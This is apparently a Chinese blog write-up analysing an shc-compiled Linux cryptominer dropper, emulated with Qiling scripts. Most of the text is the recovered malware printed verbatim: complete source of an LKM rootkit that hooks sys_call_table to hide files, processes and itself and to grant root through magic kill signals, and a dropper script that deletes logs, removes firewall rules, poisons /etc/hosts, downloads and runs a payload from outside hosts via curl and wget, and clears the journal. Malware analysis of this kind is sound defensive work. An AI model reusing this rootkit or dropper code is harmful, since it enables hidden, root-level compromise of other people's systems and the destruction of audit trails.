样本sha256sum: 54d60fd58d7fa3475fa123985bfc1594df26da25c1f5fbc7dfdba15876dd8ac5
查一下好像不少分析了。但是还是试试好不好玩?
快速看一下没加壳,所以直接丢ida里。
可以找到逻辑在上面的main_logic里面。
注意到sub_400BC5是从.data段拿出很多东西,根据长度解密。且第一次运行了sub_400AE3。
看一眼像是rc4的ksa?
这个是prng,rc4没跑了
可以注意到这里用了execvp
考虑直接hook最后这里。
再大概看了下还有这样的一个函数用来检查environment,然后决定下面的执行流程:
分析到这里大概可以知道,run ⇒ checkenv ⇒ execvp。所以考虑hook掉这几个syscall,观察参数。
直接在物理机运行这个文件会对系统造成损坏,我们用“qiling“模拟执行。注意到这里我们需要下载它给的rootfs(或者其实是glibc)
from sys import argv
from qiling import Qiling
from capstone import Cs
from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE, QL_INTERCEPT
from qiling.os.const import STRING, POINTER
from colorama import Fore, Style, init
binary_path = "target"
rootfs = "./rootfs/x8664_linux"
ql = Qiling(
[binary_path],
rootfs,
archtype=QL_ARCH.X8664,
ostype=QL_OS.LINUX,
verbose=QL_VERBOSE.OFF,
)
def ql_hook_execvp(ql):
params = ql.os.resolve_fcall_params({'file': STRING, 'argv': POINTER})
print(f"{Fore.CYAN}[*] execvp{Style.RESET_ALL}('{Fore.YELLOW}{params['file']}{Style.RESET_ALL}'", end="")
argv_ptr = params["argv"]
if argv_ptr:
i = 0
while True:
arg_ptr = ql.mem.read_ptr(argv_ptr + i * ql.arch.pointersize)
if arg_ptr == 0:
break
arg_str = ql.os.utils.read_cstring(arg_ptr)
print(f", {Fore.GREEN}\"{arg_str}\"{Style.RESET_ALL}", end="")
i += 1
print(")")
return 0
def ql_hook_getenv(ql):
params = ql.os.resolve_fcall_params({'name': STRING})
name = params['name']
print(f"{Fore.YELLOW}[*] getenv('{name}'){Style.RESET_ALL}")
ql.arch.regs.rax = 0 # return 0
def ql_hook_putenv(ql):
params = ql.os.resolve_fcall_params({'name': STRING})
name = params['name']
print(f"{Fore.YELLOW}[*] putenv('{name}'){Style.RESET_ALL}")
ql.arch.regs.rax = 0 # return 0
ql.os.set_api("execvp", ql_hook_execvp)
ql.os.set_api("getenv", ql_hook_getenv)
ql.os.set_api("putenv", ql_hook_putenv)
ql.run()
运行后可以看到,它设置里环境变量,而后重启了一次。
所以模拟一下环境变量,底下运行参数带上:
from sys import argv
from qiling import Qiling
from capstone import Cs
from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE, QL_INTERCEPT
from qiling.os.const import STRING, POINTER
from colorama import Fore, Style, init
binary_path = "target"
rootfs = "./rootfs/x8664_linux"
env_storage = {}
_ENV_ARENA_BASE = None
_ENV_ARENA_SIZE = 0x10000
_ENV_ARENA_NEXT = 0
def _env_alloc(ql, size: int) -> int:
global _ENV_ARENA_BASE, _ENV_ARENA_NEXT
size = (size + 7) & ~7
if _ENV_ARENA_BASE is None:
base = 0x55550000
ql.mem.map(base, _ENV_ARENA_SIZE, 3)
_ENV_ARENA_BASE = base
_ENV_ARENA_NEXT = 0
if _ENV_ARENA_NEXT + size > _ENV_ARENA_SIZE:
new_base = _ENV_ARENA_BASE + _ENV_ARENA_SIZE
ql.mem.map(new_base, _ENV_ARENA_SIZE, 3)
_ENV_ARENA_BASE = new_base
_ENV_ARENA_NEXT = 0
addr = _ENV_ARENA_BASE + _ENV_ARENA_NEXT
_ENV_ARENA_NEXT += size
return addr
init(autoreset=True)
def ql_hook_execvp(ql):
params = ql.os.resolve_fcall_params({'file': STRING, 'argv': POINTER})
print(f"{Fore.CYAN}[*] execvp{Style.RESET_ALL}('{Fore.YELLOW}{params['file']}{Style.RESET_ALL}'", end="")
argv_ptr = params["argv"]
if argv_ptr:
i = 0
while True:
arg_ptr = ql.mem.read_ptr(argv_ptr + i * ql.arch.pointersize)
if arg_ptr == 0:
break
arg_str = ql.os.utils.read_cstring(arg_ptr)
print(f", {Fore.GREEN}\"{arg_str}\"{Style.RESET_ALL}", end="")
i += 1
print(")")
return 0
def ql_hook_getenv(ql):
params = ql.os.resolve_fcall_params({'name': STRING})
name = params['name']
print(f"{Fore.YELLOW}[*] getenv('{name}'){Style.RESET_ALL}")
ql.arch.regs.rax = 0 # return 0
if name in env:
value = env[name]
value_bytes = value.encode() + b'\x00'
cached = env_storage.get(name)
if cached and len(value_bytes) <= cached[1]:
cstr_addr = cached[0]
else:
cstr_addr = _env_alloc(ql, len(value_bytes))
env_storage[name] = (cstr_addr, len(value_bytes))
ql.mem.write(cstr_addr, value_bytes)
ql.arch.regs.rax = cstr_addr
print(f" -> '{value}'")
else:
ql.arch.regs.rax = 0
print(" -> NULL")
def ql_hook_putenv(ql):
params = ql.os.resolve_fcall_params({'name': STRING})
name = params['name']
print(f"{Fore.YELLOW}[*] putenv('{name}'){Style.RESET_ALL}", end="")
ql.arch.regs.rax = 0 # return 0
ql = Qiling(
[binary_path, "-c", f"exec '{binary_path}' \"$@\"", binary_path],
rootfs,
archtype=QL_ARCH.X8664,
ostype=QL_OS.LINUX,
verbose=QL_VERBOSE.OFF,
)
env = {"x286b700fc2c16ba1": "2912544797019433889 4"}
ql.os.set_api("execvp", ql_hook_execvp)
ql.os.set_api("getenv", ql_hook_getenv)
ql.os.set_api("putenv", ql_hook_putenv)
ql.run()
后面搜索之后发现这玩意是shc编译的。
于是搓了个妙妙脚本,适配了所有的shc版本,只要glibc版本是对的就能用(?
可以extract出来脚本,这里分开写,不然没高亮了。
rm -rf /var/www/html/config.json
rm -rf /root/.xmrig.json
rm -rf /root/.config/xmrig.json
rm -rf /var/log/messages*
rm -rf /var/log/secure*
rm -rf /var/log/auth.log*
rm -rf /var/log/syslog*
# 删除操作痕迹
echo "fs.file-max = 2097152" > /etc/sysctl.conf
sysctl -p
ulimit -SHn 1024000
# 修改系统限制(文件系统描述符数量)
mv /usr/sbin/tokens /usr/sbin/iptables 2>/dev/null 1>/dev/null&
mv /sbin/tokens /sbin/iptables 2>/dev/null 1>/dev/null&
sleep 1
# 看不懂?
iptables -L INPUT -v -n | grep 138.68 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 67.207 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 46.101 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 157.245 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 146.190 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 144.126 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 167.172 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 172.104 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 172.105 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
# 丢掉系统中部分关于特定ip的防火墙规则
mv /usr/sbin/iptables /usr/sbin/tokens 2>/dev/null 1>/dev/null&
mv /sbin/iptables /sbin/tokens 2>/dev/null 1>/dev/null&
# 还是不懂,和刚刚那段一样
hhide=$1
if [ -z "$1" ]; then
hhide="ad12e85f"
else
hhide="$1"
fi 然后做了一个文件:
#include <linux/sched.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h>
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0)
#include <asm/uaccess.h>
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
#include <linux/proc_ns.h>
#else
#include <linux/proc_fs.h>
#endif
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26)
#include <linux/file.h>
#else
#include <linux/fdtable.h>
#endif
#if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 18)
#include <linux/unistd.h>
#endif
#ifndef __NR_getdents
#define __NR_getdents 141
#endif
#include "iptable_reject.h"
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
unsigned long cr0;
#elif IS_ENABLED(CONFIG_ARM64)
void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot);
unsigned long start_rodata;
unsigned long init_begin;
#define section_size init_begin - start_rodata
#endif
static unsigned long *__sys_call_table;
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
typedef asmlinkage long (*t_syscall)(const struct pt_regs *);
static t_syscall orig_getdents;
static t_syscall orig_getdents64;
static t_syscall orig_kill;
#else
typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,
unsigned int);
typedef asmlinkage int (*orig_getdents64_t)(unsigned int,
struct linux_dirent64 *, unsigned int);
typedef asmlinkage int (*orig_kill_t)(pid_t, int);
orig_getdents_t orig_getdents;
orig_getdents64_t orig_getdents64;
orig_kill_t orig_kill;
#endif
unsigned long *
get_syscall_table_bf(void)
{
unsigned long *syscall_table;
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0)
#ifdef KPROBE_LOOKUP
typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
kallsyms_lookup_name_t kallsyms_lookup_name;
register_kprobe(&kp);
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);
#endif
syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
return syscall_table;
#else
unsigned long int i;
for (i = (unsigned long int)sys_close; i < ULONG_MAX;
i += sizeof(void *)) {
syscall_table = (unsigned long *)i;
if (syscall_table[__NR_close] == (unsigned long)sys_close)
return syscall_table;
}
return NULL;
#endif
}
struct task_struct *
find_task(pid_t pid)
{
struct task_struct *p = current;
for_each_process(p) {
if (p->pid == pid)
return p;
}
return NULL;
}
int
is_invisible(pid_t pid)
{
struct task_struct *task;
if (!pid)
return 0;
task = find_task(pid);
if (!task)
return 0;
if (task->flags & PF_INVISIBLE)
return 1;
return 0;
}
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
int fd = (int) pt_regs->di;
struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
int fd = (int) pt_regs->regs[0];
struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
#endif
int ret = orig_getdents64(pt_regs), err;
#else
asmlinkage int
hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,
unsigned int count)
{
int ret = orig_getdents64(fd, dirent, count), err;
#endif
unsigned short proc = 0;
unsigned long off = 0;
struct linux_dirent64 *dir, *kdirent, *prev = NULL;
struct inode *d_inode;
if (ret <= 0)
return ret;
kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;
err = copy_from_user(kdirent, dirent, ret);
if (err)
goto out;
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
/*&& MINOR(d_inode->i_rdev) == 1*/)
proc = 1;
while (off < ret) {
dir = (void *)kdirent + off;
if ((!proc &&
(memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
|| (proc &&
is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
if (dir == kdirent) {
ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret);
continue;
}
prev->d_reclen += dir->d_reclen;
} else
prev = dir;
off += dir->d_reclen;
}
err = copy_to_user(dirent, kdirent, ret);
if (err)
goto out;
out:
kfree(kdirent);
return ret;
}
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
int fd = (int) pt_regs->di;
struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
int fd = (int) pt_regs->regs[0];
struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
#endif
int ret = orig_getdents(pt_regs), err;
#else
asmlinkage int
hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent,
unsigned int count)
{
int ret = orig_getdents(fd, dirent, count), err;
#endif
unsigned short proc = 0;
unsigned long off = 0;
struct linux_dirent *dir, *kdirent, *prev = NULL;
struct inode *d_inode;
if (ret <= 0)
return ret;
kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;
err = copy_from_user(kdirent, dirent, ret);
if (err)
goto out;
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
/*&& MINOR(d_inode->i_rdev) == 1*/)
proc = 1;
while (off < ret) {
dir = (void *)kdirent + off;
if ((!proc &&
(memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
|| (proc &&
is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
if (dir == kdirent) {
ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret);
continue;
}
prev->d_reclen += dir->d_reclen;
} else
prev = dir;
off += dir->d_reclen;
}
err = copy_to_user(dirent, kdirent, ret);
if (err)
goto out;
out:
kfree(kdirent);
return ret;
}
void
give_root(void)
{
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
current->uid = current->gid = 0;
current->euid = current->egid = 0;
current->suid = current->sgid = 0;
current->fsuid = current->fsgid = 0;
#else
struct cred *newcreds;
newcreds = prepare_creds();
if (newcreds == NULL)
return;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
newcreds->uid.val = newcreds->gid.val = 0;
newcreds->euid.val = newcreds->egid.val = 0;
newcreds->suid.val = newcreds->sgid.val = 0;
newcreds->fsuid.val = newcreds->fsgid.val = 0;
#else
newcreds->uid = newcreds->gid = 0;
newcreds->euid = newcreds->egid = 0;
newcreds->suid = newcreds->sgid = 0;
newcreds->fsuid = newcreds->fsgid = 0;
#endif
commit_creds(newcreds);
#endif
}
static inline void
tidy(void)
{
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
}
static struct list_head *module_previous;
static short module_hidden = 0;
void
module_show(void)
{
list_add(&THIS_MODULE->list, module_previous);
module_hidden = 0;
}
void
module_hide(void)
{
module_previous = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
module_hidden = 1;
}
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
asmlinkage int
hacked_kill(const struct pt_regs *pt_regs)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
pid_t pid = (pid_t) pt_regs->di;
int sig = (int) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
pid_t pid = (pid_t) pt_regs->regs[0];
int sig = (int) pt_regs->regs[1];
#endif
#else
asmlinkage int
hacked_kill(pid_t pid, int sig)
{
#endif
struct task_struct *task;
switch (sig) {
case SIGINVIS:
if ((task = find_task(pid)) == NULL)
return -ESRCH;
task->flags ^= PF_INVISIBLE;
break;
case SIGSUPER:
give_root();
break;
case SIGMODINVIS:
if (module_hidden) module_show();
else module_hide();
break;
default:
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
return orig_kill(pt_regs);
#else
return orig_kill(pid, sig);
#endif
}
return 0;
}
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static inline void
write_cr0_forced(unsigned long val)
{
unsigned long __force_order;
asm volatile(
"mov %0, %%cr0"
: "+r"(val), "+m"(__force_order));
}
#endif
static inline void
protect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
write_cr0_forced(cr0);
#else
write_cr0(cr0);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
section_size, PAGE_KERNEL_RO);
#endif
}
static inline void
unprotect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
write_cr0_forced(cr0 & ~0x00010000);
#else
write_cr0(cr0 & ~0x00010000);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
section_size, PAGE_KERNEL);
#endif
}
static int __init
iptable_reject_init(void)
{
__sys_call_table = get_syscall_table_bf();
if (!__sys_call_table)
return -1;
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
cr0 = read_cr0();
#elif IS_ENABLED(CONFIG_ARM64)
update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot");
start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata");
init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");
#endif
module_hide();
tidy();
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
orig_kill = (t_syscall)__sys_call_table[__NR_kill];
#else
orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
#endif
unprotect_memory();
__sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
__sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
__sys_call_table[__NR_kill] = (unsigned long) hacked_kill;
protect_memory();
return 0;
}
static void __exit
iptable_reject_cleanup(void)
{
unprotect_memory();
__sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;
__sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;
__sys_call_table[__NR_kill] = (unsigned long) orig_kill;
protect_memory();
}
module_init(iptable_reject_init);
module_exit(iptable_reject_cleanup);
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("m0nad");
MODULE_DESCRIPTION("LKM rootkit");
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
#define MAGIC_PREFIX ""
#define PF_INVISIBLE 0x10000000
#define MODULE_NAME "iptable_reject"
enum {
SIGINVIS = 41,
SIGSUPER = 54,
SIGMODINVIS = 53,
};
#ifndef IS_ENABLED
#define IS_ENABLED(option) (defined(__enabled_ ## option) || defined(__enabled_ ## option ## _MODULE))
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
#define KPROBE_LOOKUP 1
#include <linux/kprobes.h>
static struct kprobe kp = {
.symbol_name = "kallsyms_lookup_name"
};
#endif
obj-m := iptable_reject.o
CC = gcc -Wall
KDIR := /lib/modules/25.0.0/build
PWD := /tmp/a
并且尝试把这个内核扩展编译后加载进系统。
不太懂,请G老师来讲把!
这是一个典型的 LKM rootkit(内核模块后门),通过劫持 getdents / getdents64 隐藏文件/目录和进程、劫持 kill 添加自定义信号来切换“隐身”/提权/模块隐藏,并通过修改 sys_call_table 实现这些功能;同时包含多内核版本兼容分支和 x86/arm64 的内存写保护处理。
下面我把代码按功能模块拆解说明、指出风险/缺陷、给出检测与处置建议,以及若你要改进/审计作者可做的要点。
代码结构与关键函数(逐块解释)
1) 入口 / 退出
-
module_init(iptable_reject_init)/module_exit(iptable_reject_cleanup):模块加载时查找sys_call_table、保存原始系统调用指针、修改内存写保护、替换getdents/getdents64/kill为自定义实现;卸载时恢复原始表并恢复保护。
2) 查找系统调用表
-
get_syscall_table_bf():- 若内核支持
kallsyms_lookup_name(通过KPROBE_LOOKUP+ kprobe),直接查找"sys_call_table"。 - 否则使用暴力遍历法(从
sys_close的地址开始逐页扫描,检测__NR_close指向sys_close)——经典但危险的技巧(误报、性能与稳定性问题)。 - 注:代码里有
register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; unregister_kprobe(&kp);——但当前片段中kp未见定义,实际编译可能需要补全。
- 若内核支持
3) 内存写保护处理(x86 / arm64)
- x86/x86_64:
- 保存
cr0,通过write_cr0/write_cr0_forced清写保护位写回sys_call_table,操作结束后再恢复cr0。
- 保存
- arm64:
- 通过
kallsyms_lookup_name("update_mapping_prot")获取函数指针并调用以修改.rodata/只读区页属性。
- 通过
- 目的:临时去掉内核页写保护以覆盖
sys_call_table。
4) 隐藏模块(module_hide/module_show)
-
module_hide():保存THIS_MODULE->list.prev,从模块链表中list_del(&THIS_MODULE->list),将模块从/proc/modules和模块链表中移除。 -
module_show():把模块重新list_add到之前保存的位置。 - 风险:如果模块链表修改或顺序被改变,
module_show()恢复可能失败或插入到错误位置。
5) 提权与清理
-
give_root():使用prepare_creds()/ 修改newcreds的 UID/GID/EUID 等为 0 /commit_creds()提权当前进程。- 分内核版本分支,为不同内核 API 兼容做适配。
-
tidy():kfree(THIS_MODULE->sect_attrs)并把指针置NULL(清除模块属性以减少可见性?)。
6) 进程/隐藏逻辑
-
find_task(pid_t pid):遍历进程链表(for_each_process)查找目标task_struct。 -
is_invisible(pid_t pid):检测目标进程task->flags & PF_INVISIBLE是否被设置。-
PF_INVISIBLE并非内核标准常见标志(这是 rootkit 定义的自有位或利用未使用位),修改 task->flags 来标记隐身。
-
-
hacked_getdents/hacked_getdents64:- 调用原始
getdents/getdents64得到结果长度ret,分配内核缓冲kdirent,从用户空间copy_from_user整块拷贝目录项,遍历目录项:- 如果是普通目录且文件名以
MAGIC_PREFIX(来自iptable_reject.h)开头 -> 隐藏。 - 如果是
/proc根目录(通过d_inode->i_ino == PROC_ROOT_INO检测)且is_invisible(atoi(d_name))返回真 -> 隐藏对应 pid 条目。 - 隐藏实现通过调整前一项
d_reclen或memmove把条目从缓冲中删除。
- 如果是普通目录且文件名以
- 最后
copy_to_user回写并kfree。 - 注意:对用户缓冲的假设(size = ret)可能与用户传入
count或struct linux_dirent大小有关,兼容性敏感。
- 调用原始
-
hacked_kill:- 解析
kill(pid, sig)(或 pt_regs 版本):- 特定自定义信号
SIGINVIS:切换目标进程的PF_INVISIBLE(隐身开关)。 -
SIGSUPER:调用give_root()给发送该信号的进程提权(或给目标进程?代码对pid的使用需看调用,通常为目标 pid)。 -
SIGMODINVIS:切换模块隐藏(module_hidden标志)。 - 其它信号委托给原始
kill。
- 特定自定义信号
- 由此,攻击者可以用
kill -<magic> <pid>来控制 rootkit 行为。
- 解析
整体目的与能力(总结)
- 隐藏文件/目录(通过前缀
MAGIC_PREFIX); - 隐藏
/proc/<pid>中的某些进程(通过PF_INVISIBLE标志); - 通过特定
kill信号对进程施加“隐身切换”、提升权限(give_root)、模块隐藏/显示; - 隐藏模块自身(从模块链表中移除);
- 兼容多内核版本与多架构(x86/x86_64/ARM64)的实现分支。
简言之:一个完全的 rootkit 功能集合(隐藏 + 后门提权 + 控制通道)。
于是这个恶意软件在内核中添加了很多提权功能和通道。
接着看
DIR3="/etc/$hhide"
if [ -d "$DIR3" ]; then
echo "folder ok"
else
mkdir "$DIR3"
fi
EXE=`echo $RANDOM | md5sum | head -c 8` # 随机process!
PID=`cat /tmp/.X0_locks` # 已经启动的进程
mama=$2 # 代理
if [ -e "/proc/$PID/status" ]; then
echo "process exists" # 存在了,直接退出?
else
if [ -z "$2" ]; then # 没有proxy,也退出。
echo "No Prx"
else
if grep -q "localhost00" "/etc/hosts"; then # localhost00 添加
echo "H exists"
else
if [ `wc -l < /etc/hosts` -lt 3 ]; then
echo "$mama localhost00" >> /etc/hosts # localhost00 -> localhost
else
sed -i "3i $mama localhost00" /etc/hosts
fi
fi
fi
echo "process not exists"
FILE1="/etc/$hhide/iptable_reject"
if [ -f "$FILE1" ]; then
echo "PI exists."
else # 下载解压
echo "PI does not exist."
curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://example.established.site/pn.zip
FILE="/tmp/pn.zip"
FILESIZE=$(stat -c%s "$FILE")
if (( FILESIZE > "1000000")); then
echo "zip exists."
else
echo "zip does not exist."
rm -rf "$FILE"
wget --timeout=5 --tries=2 http://example.established.site/pn.zip -q -O /tmp/pn.zip
fi
if (( FILESIZE > "1000000")); then
echo "zip exists."
else
echo "zip does not exist."
rm -rf "$FILE"
curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":1081 http://example.established.site/pn.zip
fi
if (( FILESIZE > "1000000")); then
echo "zip exists."
else
echo "zip does not exist."
rm -rf "$FILE"
wget --timeout=5 --tries=2 http://w.amax.fun/pn.zip -q -O /tmp/pn.zip
fi
if (( FILESIZE > "1000000")); then
echo "zip exists."
else
echo "zip does not exist."
rm -rf "$FILE"
curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://172.104.170.240/pn.zip
fi
if (( FILESIZE > "1000000")); then
echo "zip exists."
else
echo "zip does not exist."
rm -rf "$FILE"
wget --timeout=50 --tries=2 http://172.104.170.240/pn.zip -q -O /tmp/pn.zip
fi
cd /tmp/
unzip -qq -o pn.zip
rm -rf pn.zip
mv iptable_reject "$FILE1"
fi
# 准备运行
FILE2="/$EXE"
if [ -f "$FILE2" ]; then
echo "MD exists."
else
echo "MD does not exist."
cp "$FILE1" /"$EXE"
fi
/"$EXE" 2>/dev/null 1>/dev/null&
sleep 2
pidof "$EXE" > /tmp/.X0_locks # 存放pid
rm -rf /"$EXE"
kill -53 10000000 # 提权
if grep -q "iptable_reject" "/proc/modules"; then
echo "M exists"
kill -41 `cat /tmp/.X0_locks` # 提权
kill -53 10000000
else
echo "M not exists"
module_install
kill -53 10000000
if grep -q "iptable_reject" "/proc/modules"; then
echo "M exists"
kill -41 `cat /tmp/.X0_locks`
kill -53 10000000
else
echo "M not installed check errors 2"
fi
fi
fi
sudo journalctl --vacuum-time=1s 嗯于是下一步是拿到他的pn.zip,同样我们也找到了——sha256sum是:751227400b52c41bbaecea83dc97182c10da158e22d0168f237c9b6c3be8e0d8 。这个可以找到相关的分析,这里就不做了。